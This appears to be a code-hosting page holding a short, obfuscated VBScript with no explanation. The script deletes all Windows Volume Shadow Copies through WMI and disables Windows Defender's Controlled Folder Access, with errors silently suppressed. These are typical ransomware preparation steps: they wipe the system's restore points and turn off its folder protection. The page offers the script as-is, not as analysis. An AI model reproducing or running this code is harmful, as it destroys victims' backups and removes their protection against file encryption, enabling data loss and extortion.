This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
On Error Resume Next | |
Set dd4y336wf97z = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") | |
Set s1o28iq = dd4y336wf97z.ExecQuery("Select * From Win32_ShadowCopy") | |
For Each d18706x in s1o28iq | |
d18706x.Delete_ | |
Next | |
Set c6406r7uh = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\Microsoft\Windows\Defender:MSFT_MpPreference") | |
Set jlfze3cy1qjq = c6406r7uh.Methods_("Set").inParameters.SpawnInstance_() | |
jlfze3cy1qjq.Properties_.Item("EnableControlledFolderAccess") = 0 | |
Set ub7mu3 = c6406r7uh.ExecMethod_("Set", jlfze3cy1qjq) | |
WScript.Quit Err.Number |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment